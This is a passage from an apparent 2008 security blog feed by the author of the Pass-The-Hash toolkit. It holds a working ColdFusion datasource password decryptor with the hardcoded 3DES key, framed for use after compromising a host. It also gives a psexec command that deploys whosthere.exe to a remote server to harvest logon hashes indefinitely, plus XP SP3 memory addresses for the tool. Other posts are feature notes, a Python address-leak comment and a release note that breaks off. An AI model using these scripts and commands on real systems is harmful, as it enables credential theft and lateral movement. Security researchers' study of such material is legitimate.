xmlns:thr="http://purl.org/syndication/thread/1.0">2</thr:total><feedburner:origLink>http://hexale.blogspot.com/2008/07/release-of-pass-hash-toolkit-v14.html</feedburner:origLink></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-7256548273157928878</id><published>2008-07-01T15:44:00.007-03:00</published><updated>2008-07-01T16:12:56.217-03:00</updated><title type="text">How to decrypt Coldfusion datasource passwords</title><content type="html">ColdFusion stores passwords for DataSources encrypted in the following XML files:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Coldfusion 7&lt;/span&gt;: &lt;coldfusion_path&gt;\lib\neo-query.xml&lt;/coldfusion_path&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;for example: c:\CFusionMX7\lib\neo-query.xml&lt;br /&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Coldfusion 8&lt;/span&gt;: &lt;coldfusion_path&gt;\lib\neo-datasource.xml&lt;/coldfusion_path&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;for example: c:\coldfusion8\lib\neo-datasource.xml&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;the xml contains nodes/items like this:&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-weight: bold;"&gt;&amp;lt;var name="password"&amp;gt;&lt;br /&gt;&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;&amp;lt;string&amp;gt;maJsuHYMay8zpmptC2yibA==&amp;lt;/string&amp;gt;&lt;/span&gt; &lt;/p&gt;&lt;p&gt;one for every data source.&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;Both Coldfusion versions use the same mechanism to encrypt the passwords;&lt;br /&gt;this mechanism can be found in the following way:&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Find &lt;coldfusion_path&gt;\lib\cfusion.jar&lt;/coldfusion_path&gt;&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;&lt;coldfusion_path&gt;Extract its contents&lt;/coldfusion_path&gt;&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;&lt;coldfusion_path&gt;Decompile &lt;cfusion_extracted_path&gt;\coldfusion\sql\DataSourceDef.class&lt;/cfusion_extracted_path&gt;&lt;/coldfusion_path&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p style="text-align: left;"&gt;&lt;coldfusion_path&gt;(use for example: cavaj Java decompiler: http://www.sureshotsoftware.com/cavaj/index.html)&lt;br /&gt;&lt;/coldfusion_path&gt;&lt;/p&gt;&lt;p&gt;&lt;coldfusion_path&gt;You'll find the following code:&lt;br /&gt;&lt;/coldfusion_path&gt;&lt;/p&gt;&lt;p&gt;&lt;verbatim&gt;&lt;br /&gt;[..]&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;public class DataSourceDef&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;{&lt;/span&gt;&lt;/verbatim&gt;&lt;/p&gt;&lt;p&gt;&lt;verbatim&gt;&lt;span&gt;[..]&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/verbatim&gt;&lt;/p&gt;&lt;p&gt;&lt;verbatim&gt; &lt;span style="font-weight: bold;"&gt;protected static final String seedval = "0yJ!@1$r8p0L@r1$6yJ!@1rj";&lt;/span&gt; &lt;/verbatim&gt;&lt;/p&gt;&lt;p&gt;&lt;verbatim&gt;[..]&lt;br /&gt;&lt;/verbatim&gt;&lt;/p&gt;&lt;p&gt;&lt;verbatim&gt;&lt;span style="font-weight: bold;"&gt;protected String getPassword()&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;   {&lt;/span&gt;&lt;/verbatim&gt;&lt;/p&gt;&lt;p&gt;&lt;verbatim&gt; &lt;span style="font-weight: bold;"&gt;       if(password == null)&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;       {&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;           return null;&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;       }&lt;/span&gt;&lt;/verbatim&gt;&lt;/p&gt;&lt;p&gt;&lt;verbatim&gt; &lt;span style="font-weight: bold;"&gt;       if(password.equals(""))&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;       {&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;           return "";&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;       }&lt;/span&gt;&lt;/verbatim&gt;&lt;/p&gt;&lt;p&gt;&lt;verbatim&gt;&lt;span style="font-weight: bold;"&gt; else&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;       {&lt;/span&gt; &lt;/verbatim&gt;&lt;/p&gt;&lt;p&gt;&lt;verbatim&gt;&lt;span style="font-weight: bold;"&gt;String pwd = null;&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;           String secKey = CFPage.generate3DesKey("0yJ!@1$r8p0L@r1$6yJ!@1rj");&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;           pwd = CFPage.Decrypt(password, secKey, "DESede", "Base64");&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;           return pwd;&lt;/span&gt;&lt;br /&gt;&lt;/verbatim&gt;&lt;/p&gt;&lt;p&gt;&lt;verbatim&gt;&lt;span style="font-weight: bold;"&gt;       }&lt;/span&gt;&lt;/verbatim&gt;&lt;/p&gt;&lt;p&gt;&lt;verbatim&gt; &lt;span style="font-weight: bold;"&gt;   }&lt;/span&gt;&lt;/verbatim&gt;&lt;/p&gt;&lt;p&gt;&lt;verbatim&gt; [..]&lt;br /&gt;&lt;/verbatim&gt;&lt;/p&gt;&lt;p&gt;And here's a simple script that will decrypt the passwords:&lt;br /&gt;&lt;/p&gt;&lt;p&gt;[..]&lt;/p&gt;&lt;span style="font-weight: bold;"&gt;import pyDes&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;import base64&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;import sys&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;print "Coldfusion v7 y v8 DataSource password decryptor (c) 2008 Hernan Ochoa (hernan@gmail.com)"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;print " "&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;if len(sys.argv) &lt;&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;    print "syntax: coldfusion_ds_decrypt.py &lt;password&gt;"&lt;/password&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;    exit(0)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;pwd = sys.argv[1]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;key = "0yJ!@1$r8p0L@r1$6yJ!@1rj"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;k = pyDes.triple_des(key)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;d = k.decrypt( base64.decodestring(pwd), "*")&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;print "decrypted password: " + d&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;p style="font-weight: normal;"&gt;[..]&lt;/p&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;p style="font-weight: normal;"&gt;If you have compromised a machine with Coldfusion, you might find&lt;br /&gt;useful to have these passwords to test them against the database server&lt;br /&gt;and other servers (if you have control over the Coldfusion installation,&lt;br /&gt;you can already execute sql code using cfm without knowing the password&lt;br /&gt;for the datasource; but STILL it might be good to have these passwords,to access the database servers directly, they might be the same as the ones used for other remote admin accounts, etc&lt;br /&gt;(I've seen it and I'm sure you have seen it too)).&lt;br /&gt;&lt;/p&gt;&lt;p style="font-weight: normal;"&gt;If you have access to the Coldfusion administrator page (http://target/CFIDE/Administrator) you can go to the datasources section and you'll see the base64-encoded encrypted password for all the datasources.&lt;br /&gt;&lt;br /&gt;Go to the 'DataSources Section'&lt;br /&gt;&lt;/p&gt;&lt;a style="font-weight: normal;" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_sUXOjNfwj9k/SGp_CYXtuAI/AAAAAAAAABk/XFPbl67c1ew/s1600-h/cf7_datasources_test.PNG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp2.blogger.com/_sUXOjNfwj9k/SGp_CYXtuAI/AAAAAAAAABk/XFPbl67c1ew/s320/cf7_datasources_test.PNG" alt="" id="BLOGGER_PHOTO_ID_5218122797140523010" border="0" /&gt;&lt;/a&gt;&lt;p style="font-weight: normal;"&gt;&lt;br /&gt;Click on a 'DataSource' (e.g.: Test)&lt;/p&gt;&lt;a style="font-weight: normal;" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp0.blogger.com/_sUXOjNfwj9k/SGp_UpSe9OI/AAAAAAAAABs/XBnDjDv28gQ/s1600-h/cf7_datasource_shown.PNG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp0.blogger.com/_sUXOjNfwj9k/SGp_UpSe9OI/AAAAAAAAABs/XBnDjDv28gQ/s320/cf7_datasource_shown.PNG" alt="" id="BLOGGER_PHOTO_ID_5218123110919632098" border="0" /&gt;&lt;/a&gt;&lt;p style="font-weight: normal;"&gt;&lt;br /&gt;Look at the source code for the HTML page:&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;a style="font-weight: normal;" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_sUXOjNfwj9k/SGp_eug3b5I/AAAAAAAAAB0/eG11cTtARzo/s1600-h/cf7_datasource_pwd_html.PNG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp1.blogger.com/_sUXOjNfwj9k/SGp_eug3b5I/AAAAAAAAAB0/eG11cTtARzo/s320/cf7_datasource_pwd_html.PNG" alt="" id="BLOGGER_PHOTO_ID_5218123284120825746" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: normal;"&gt;This is another method for obtaining the base64-encoded encrypted passwords,&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: normal;"&gt;instead of going to the XML files on disk.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: normal;"&gt;Of course, if you have access to the administrator console already, you can do pretty much everything; I'm just saying this is a convenient method to obtain the password for later decryption.&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-7256548273157928878?l=hexale.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Hexale/~4/osjGtF5tNMs" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://hexale.blogspot.com/feeds/7256548273157928878/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=18555569&amp;postID=7256548273157928878&amp;isPopup=true" title="5 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/18555569/posts/default/7256548273157928878" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/18555569/posts/default/7256548273157928878" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Hexale/~3/osjGtF5tNMs/how-to-decrypt-coldfusion-datasource.html" title="How to decrypt Coldfusion datasource passwords" /><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd="http://schemas.google.com/g/2005" name="OpenSocialUserId" value="14502570679437720077" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://bp2.blogger.com/_sUXOjNfwj9k/SGp_CYXtuAI/AAAAAAAAABk/XFPbl67c1ew/s72-c/cf7_datasources_test.PNG" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">5</thr:total><feedburner:origLink>http://hexale.blogspot.com/2008/07/how-to-decrypt-coldfusion-datasource.html</feedburner:origLink></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-7576725678835314934</id><published>2008-06-26T11:58:00.003-03:00</published><updated>2008-06-26T12:07:08.239-03:00</updated><title type="text">Windows XP SP3 and Pass-The-Hash Toolkit: it Works!</title><content type="html">Ok, so Windows XP SP3 is out.&lt;br /&gt;&lt;br /&gt;With this new version:&lt;br /&gt;&lt;br /&gt;whosthere-alt.exe still works without requiring any modifications.&lt;br /&gt;whosthere.exe does not work because this is the more 'gentle' and 'stealth' :) version of the tool and requires precise memory addresses.&lt;br /&gt;&lt;br /&gt;But that's why I released the passthehash.idc IDA script; so you can easily get these addresses yourself.&lt;br /&gt;&lt;br /&gt;And that's also the reason why the new version of whosthere.exe has a new -a switch that allows you to use specify these addresses without having to recompile the tool.&lt;br /&gt;&lt;br /&gt;This new version is going to be released soon, but if you want it right now, email me (please, try to email me if you REALLY need it :)).&lt;br /&gt;&lt;br /&gt;I haven't tested iam/iam-alt but the same thing observed with whosthere/whosthere-alt should apply to these tools.&lt;br /&gt;&lt;br /&gt;In case you were wondering, the new addresses you need for Windows XP SP3 English are:&lt;br /&gt;&lt;br /&gt;whosthere -a 75753BA0:7573FDEC:757D0C98:757D0CA0:757CFC60:757CFE54&lt;br /&gt;&lt;br /&gt;(remember that whosthere-alt.exe works as it is on Windows XP SP3)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-7576725678835314934?l=hexale.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Hexale/~4/hwHtVSY18Hg" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://hexale.blogspot.com/feeds/7576725678835314934/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=18555569&amp;postID=7576725678835314934&amp;isPopup=true" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/18555569/posts/default/7576725678835314934" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/18555569/posts/default/7576725678835314934" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Hexale/~3/hwHtVSY18Hg/windows-xp-sp3-and-pass-hash-toolkit-it.html" title="Windows XP SP3 and Pass-The-Hash Toolkit: it Works!" /><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd="http://schemas.google.com/g/2005" name="OpenSocialUserId" value="14502570679437720077" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://hexale.blogspot.com/2008/06/windows-xp-sp3-and-pass-hash-toolkit-it.html</feedburner:origLink></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-2739170574848337349</id><published>2008-06-12T09:58:00.002-03:00</published><updated>2008-06-12T10:01:14.923-03:00</updated><title type="text">New features for pass-the-hash toolkit</title><content type="html">Hi,&lt;br /&gt;&lt;br /&gt;I'm in the process of adding new features to the "pass-the-hash toolkit". This means I've found time to do it :), so.. If you have any ideas for new features/bugs that need to be addressed, please let me know.&lt;br /&gt;&lt;br /&gt;I'm currently adding:&lt;br /&gt;&lt;br /&gt;-better support for Windows Vista&lt;br /&gt;-feature to specifiy addresses (such as the ones obtained via passthehash.idc) to whosthere and iam without having to recompile the tools&lt;br /&gt;&lt;br /&gt;If you have any comments, please leave them here as comments to this blog post or&lt;br /&gt;here:&lt;br /&gt;&lt;br /&gt;http://www.hexale.org/forums/topic.php?id=3&lt;br /&gt;&lt;br /&gt;Thanks!,&lt;br /&gt;Hernan&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-2739170574848337349?l=hexale.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Hexale/~4/0v90AvZFf0c" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://hexale.blogspot.com/feeds/2739170574848337349/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=18555569&amp;postID=2739170574848337349&amp;isPopup=true" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/18555569/posts/default/2739170574848337349" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/18555569/posts/default/2739170574848337349" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Hexale/~3/0v90AvZFf0c/new-features-for-pass-hash-toolkit.html" title="New features for pass-the-hash toolkit" /><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd="http://schemas.google.com/g/2005" name="OpenSocialUserId" value="14502570679437720077" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">1</thr:total><feedburner:origLink>http://hexale.blogspot.com/2008/06/new-features-for-pass-hash-toolkit.html</feedburner:origLink></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-3279517637922680553</id><published>2008-06-04T11:58:00.002-03:00</published><updated>2008-06-04T12:02:05.954-03:00</updated><title type="text">Hexale forums</title><content type="html">Ok, so I finally set up a web site to put all my stuff on, checkout&lt;br /&gt;&lt;br /&gt;www.hexale.org&lt;br /&gt;&lt;br /&gt;well.. right now is empty :) but one thing I did installed is the forums&lt;br /&gt;section, check out&lt;br /&gt;&lt;br /&gt;www.hexale.org/forums/&lt;br /&gt;&lt;br /&gt;There's a forum for each of the tools I have publicly released so far. Some&lt;br /&gt;people have requested such a thing in the past, so here you go, I hope you&lt;br /&gt;find it useful.&lt;br /&gt;&lt;br /&gt;If there's another forum you'd like to see, please let me know.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-3279517637922680553?l=hexale.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Hexale/~4/vCIHIFHWtFY" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://hexale.blogspot.com/feeds/3279517637922680553/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=18555569&amp;postID=3279517637922680553&amp;isPopup=true" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/18555569/posts/default/3279517637922680553" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/18555569/posts/default/3279517637922680553" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Hexale/~3/vCIHIFHWtFY/hexale-forums.html" title="Hexale forums" /><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd="http://schemas.google.com/g/2005" name="OpenSocialUserId" value="14502570679437720077" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://hexale.blogspot.com/2008/06/hexale-forums.html</feedburner:origLink></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-1136259655204591450</id><published>2008-06-04T00:24:00.001-03:00</published><updated>2008-06-04T00:24:58.832-03:00</updated><title type="text">-t switch added to whosthere and whosthere-alt</title><content type="html">Just wanted to let you know that I've added a -t switch both to whosthere and whosthere-alt&lt;br /&gt;&lt;br /&gt;the -t switch sets the time interval used by the -i option (the option that waits indefinitely trying to capture new hashes)&lt;br /&gt;before, the time interval was 2 seconds, now this can be set at will using the new -t switch&lt;br /&gt;&lt;br /&gt;for example:&lt;br /&gt;&lt;br /&gt;whosthere.exe -i -t 20&lt;br /&gt;will attempt to gather new hashes every 20 seconds&lt;br /&gt;&lt;br /&gt;whosthere-alt.exe -i -t 0.5&lt;br /&gt;will attempt to gather new hashes every 0.5 seconds&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;This feature will be available on the next release, but if you really need it, just send me an email and I'll send you the new version with this feature included.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-1136259655204591450?l=hexale.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Hexale/~4/ue4OC8IL85E" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://hexale.blogspot.com/feeds/1136259655204591450/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=18555569&amp;postID=1136259655204591450&amp;isPopup=true" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/18555569/posts/default/1136259655204591450" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/18555569/posts/default/1136259655204591450" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Hexale/~3/ue4OC8IL85E/t-switch-added-to-whosthere-and.html" title="-t switch added to whosthere and whosthere-alt" /><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd="http://schemas.google.com/g/2005" name="OpenSocialUserId" value="14502570679437720077" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://hexale.blogspot.com/2008/06/t-switch-added-to-whosthere-and.html</feedburner:origLink></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-7352026949655651885</id><published>2008-05-22T17:34:00.003-03:00</published><updated>2008-05-22T18:02:58.303-03:00</updated><title type="text">Comment on article about 'vm attacks' at www.eusecwest.com</title><content type="html">I was reading the following story:&lt;br /&gt;&lt;br /&gt;http://www.eusecwest.com/justin-ferguson-interpreter-vm-attacks.html&lt;br /&gt;&lt;br /&gt;I'll keep my subjective opinion about the article to myself and will focus on the following:&lt;br /&gt;&lt;br /&gt;I think that the use of the function 'sys._getframe()' mentioned in the article as a way to 'obtain a heap address' is 'misleading' .&lt;br /&gt;&lt;br /&gt;Python gives away memory addresses all the time, there's no need to call a 'weird' function (sys._getframe() is not weird anyways):&lt;br /&gt;&lt;br /&gt;(from http://shell.appspot.com/, but applicable to any python deployment):&lt;br /&gt;&lt;br /&gt;&gt;&gt;&gt; a = 'mythbusters'&lt;br /&gt;&gt;&gt;&gt; id(a)&lt;br /&gt;6912173043421908880&lt;br /&gt;&gt;&gt;&gt; hex(id(a))&lt;br /&gt;0xe81da54d11f45f88L'&lt;br /&gt;&gt;&gt; sys._getframe()&lt;br /&gt;frame object at 0xe81da54d1ff6afc8&lt;br /&gt;&lt;br /&gt;both addresses are clearly in the same 'range', so I can infer they 'refer' to the same 'thing', if the 'thing' is the 'heap', then both methods 'leak' a heap address,&lt;br /&gt;or more importantly, they 'leak' the same 'thing' :)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;or&lt;br /&gt;&lt;br /&gt;(on a windows machine)&lt;br /&gt;&lt;br /&gt;&gt;&gt;&gt; class a:&lt;br /&gt;...     def test(self):&lt;br /&gt;...             print 'hola'&lt;br /&gt;...&lt;br /&gt;&gt;&gt;&gt; j = a()&lt;br /&gt;&gt;&gt;&gt; j&lt;br /&gt;__main__.a instance at 0x004AF0F8  &lt;br /&gt;&gt;&gt;&gt; sys._getframe()&lt;br /&gt;frame object at 0x00475960&lt;br /&gt;&lt;br /&gt;and finally (done at from http://shell.appspot.com/)&lt;br /&gt;&lt;br /&gt;&gt;&gt;&gt; import os&lt;br /&gt;&gt;&gt;&gt; os.uname()&lt;br /&gt;('Linux', '', '', '', '')&lt;br /&gt;&lt;br /&gt;If you think I'm wrong, please comment!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-7352026949655651885?l=hexale.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Hexale/~4/yAuvM6pcfww" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://hexale.blogspot.com/feeds/7352026949655651885/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=18555569&amp;postID=7352026949655651885&amp;isPopup=true" title="4 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/18555569/posts/default/7352026949655651885" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/18555569/posts/default/7352026949655651885" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Hexale/~3/yAuvM6pcfww/comment-on-article-about-vm-attacks-at.html" title="Comment on article about 'vm attacks' at www.eusecwest.com" /><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd="http://schemas.google.com/g/2005" name="OpenSocialUserId" value="14502570679437720077" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">4</thr:total><feedburner:origLink>http://hexale.blogspot.com/2008/05/comment-on-article-about-vm-attacks-at.html</feedburner:origLink></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-1890439533496610806</id><published>2008-05-08T16:45:00.002-03:00</published><updated>2008-05-08T16:53:22.952-03:00</updated><title type="text">Using whosthere.exe with psexec</title><content type="html">Ok, a few days ago I received the following question and I have been asked the same thing before so here it goes:&lt;br /&gt;&lt;br /&gt;The question, more or less, is:&lt;br /&gt;&lt;br /&gt;How do you run whosthere.exe into a remote machine using psexec dettached from any console and leave it running there collecting hashes? &lt;br /&gt;&lt;br /&gt;the answer is:&lt;br /&gt;&lt;br /&gt;psexec \\&lt;server_ip_address&gt; -d -c whosthere.exe -o myhashes.log -i&lt;br /&gt;&lt;br /&gt;psexec's -d switch basically makes it run whosthere.exe and exit.&lt;br /&gt;whosthere's -o switch specifies the name of the file containing the list of unique credentials collected.&lt;br /&gt;and the -i switch makes whosthere.exe run in an infinte loop looking for new&lt;br /&gt;logon credentials and storing them on the file specified by the -o switch.&lt;br /&gt;&lt;br /&gt;Remember, of course, you will probably need to specify the -u and -p switch to psexec, or you can do from your machine something like&lt;br /&gt;&lt;br /&gt;net use \\&lt;server_ip_address&gt;\ipc$ * /u:user password&lt;br /&gt;&lt;br /&gt;and then run psexec.&lt;br /&gt;&lt;br /&gt;Also remember, that if you want to use whosthere-alt.exe, you can't use psexec's -c switch (I think), because whosthere-alt.exe also requires the pth.dll, so you will probably need to copy whosthere-alt.exe and pth.dll to the target machine and then run psexec without the -c switch and specifying the path where whosthere-alt.exe and pth.dll are located.&lt;br /&gt;&lt;br /&gt;Hope it helps!.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-1890439533496610806?l=hexale.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Hexale/~4/xPGKzSOWZgQ" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://hexale.blogspot.com/feeds/1890439533496610806/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=18555569&amp;postID=1890439533496610806&amp;isPopup=true" title="3 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/18555569/posts/default/1890439533496610806" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/18555569/posts/default/1890439533496610806" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Hexale/~3/xPGKzSOWZgQ/using-whosthereexe-with-psexec.html" title="Using whosthere.exe with psexec" /><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd="http://schemas.google.com/g/2005" name="OpenSocialUserId" value="14502570679437720077" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">3</thr:total><feedburner:origLink>http://hexale.blogspot.com/2008/05/using-whosthereexe-with-psexec.html</feedburner:origLink></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-8773212380320677147</id><published>2008-02-29T16:21:00.001-02:00</published><updated>2008-02-29T16:22:48.294-02:00</updated><title type="text">Release: Pass-The-Hash toolkit v1.3</title><content type="html">SOURCE CODE:&lt;br /&gt;&lt;a href="http://oss.coresecurity.com/pshtoolkit/release/1.3/pshtoolkit_v1.3-src.tgz"&gt;http://oss.coresecurity.com/pshtoolkit/release/1.3/pshtoolkit_v1.3-src.tgz&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;BINARIES:&lt;br /&gt;&lt;a href="http://oss.coresecurity.com/pshtoolkit/release/1.3/pshtoolkit_v1.3.tgz"&gt;http://oss.coresecurity.com/pshtoolkit/release/1.3/pshtoolkit_v1.3.tgz&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;DOCUMENTATION:&lt;br /&gt;&lt;a href="http://oss.coresecurity.com/projects/pshtoolkit.htm"&gt;http://oss.coresecurity.com/projects/pshtoolkit.htm&lt;/a&gt;&lt;br /&gt;&lt;a href="http://oss.coresecurity.com/pshtoolkit/doc/index.html"&gt;http://oss.coresecurity.com/pshtoolkit/doc/index.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;WHATSNEW:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Pass-The-Hash Toolkit 1.3 by Hernan Ochoa 